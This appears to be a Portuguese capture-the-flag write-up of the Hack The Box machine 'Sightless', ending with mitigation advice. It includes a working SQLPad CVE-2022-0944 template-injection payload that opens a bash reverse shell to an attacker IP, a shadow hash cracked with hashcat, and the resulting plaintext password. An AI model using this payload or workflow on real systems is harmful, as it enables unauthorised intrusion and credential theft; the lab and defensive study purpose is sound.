Sightless
Introdução
Máquina Sightless do Hack The Box, dificuldade Medium.
IP alvo: 10.10.11.32
Escaneamento
Primeiro passo foi enumerar as portas abertas com nmap:
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.32 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.32
O nmap trouxe 3 portas abertas: 21, 22 e 80.
Enumeração
Porta 80
Ao acessar a web via IP, sou redirecionado para o domínio http://sightless.htb. Para conseguir acessar a página é necessário inserir esse domínio no /etc/hosts.

Coleta de informações no site
No campo Sobre, tem uma opção que mostra um e-mail: sales@sightless.htb
No campo Serviços, tem uma opção que leva para a URL http://sqlpad.sightless.htb.

SQLPad (sqlpad.sightless.htb)
Para acessar é necessário incluir o subdomínio sqlpad.sightless.htb no /etc/hosts.
A página é uma aplicação SQLPad.
No campo Access, encontrei mais e-mails, que podem ser possíveis nomes de usuários:
admin@sightless.htb
john@sightless.htb
No campo About, a página mostra a versão da aplicação: 6.10 — versão vulnerável a RCE conhecida (CVE-2022-0944).

Exploração
CVE-2022-0944 — RCE no SQLPad
Referência: https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb A versão 6.10 do SQLPad tem uma vulnerabilidade de RCE (template injection no handlebars ao criar uma conexão). Payload usado:
{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.14.68/7777 0>&1"') }}
É necessário inserir o payload em Connections → Add Connection, colocando mysql no campo Driver e o payload no campo Database.
Habemus shell!

Confirmando que estou dentro de um container Docker
Analisando o ambiente logo após ganhar a shell, confirmei que estava dentro de um container Docker (não na máquina host diretamente).

Quebra de hash e obtenção de acesso via SSH
No /etc/shadow do container estava o hash do usuário michael:
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
Usei o hashcat (modo 1800, sha512crypt) contra a rockyou para quebrar:
hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt
Demorou uns 30 minutos para quebrar. A senha encontrada foi:
insaneclownposse
Testei logar via SSH com essas credenciais (michael:insaneclownposse) e funcionou, obtendo acesso à máquina real (fora do container).

Pós-exploração
Já com acesso SSH como michael na máquina real, enumerei portas internas (via netstat/ss), já que muitos serviços de máquinas HTB rodam apenas em localhost.
Havia diversas portas internas abertas. A porta 8080 chamou atenção por rodar uma página web.
Fiz um redirecionamento de porta via SSH para conseguir acessar esse serviço a partir da minha máquina:
ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32
Com isso, ganhei acesso à página interna:

Elevação de privilégios
(As notas originais não detalham as etapas específicas usadas para chegar em root a partir daqui — ficou registrado apenas o acesso ao serviço interno na porta 8080 via redirecionamento SSH. Necessário revisitar a máquina para completar e documentar o caminho até root.)
Anexos
nmap— escaneamento inicial de portas- Payload de RCE via handlebars/SSTI (CVE-2022-0944) no SQLPad
hashcat -m 1800— quebra de hash sha512crypt (/etc/shadow) contrarockyou.txtssh -L— redirecionamento de porta local para acessar serviço interno (8080)
Mitigação
- CVE-2022-0944 (SQLPad RCE): atualizar o SQLPad para uma versão corrigida (pós 6.10), já que a vulnerabilidade permite RCE via template injection ao criar conexões. Restringir quem pode criar/editar conexões e não expor o SQLPad publicamente sem autenticação forte.
- Senha fraca do usuário michael:
insaneclownpossefoi quebrada em ~30 minutos com rockyou. Aplicar política de senhas fortes e usar autenticação via chave SSH em vez de senha. - Serviços internos expostos apenas por bind local: revisar quais serviços estão rodando na porta 8080 e demais portas internas, restringindo acesso somente a quem realmente precisa e aplicando autenticação adequada.
- Segregação de containers: o container do SQLPad continha um hash de senha reutilizável na máquina real — evitar reuso de credenciais entre o ambiente containerizado e o host, e não deixar hashes de usuários do host acessíveis dentro do container.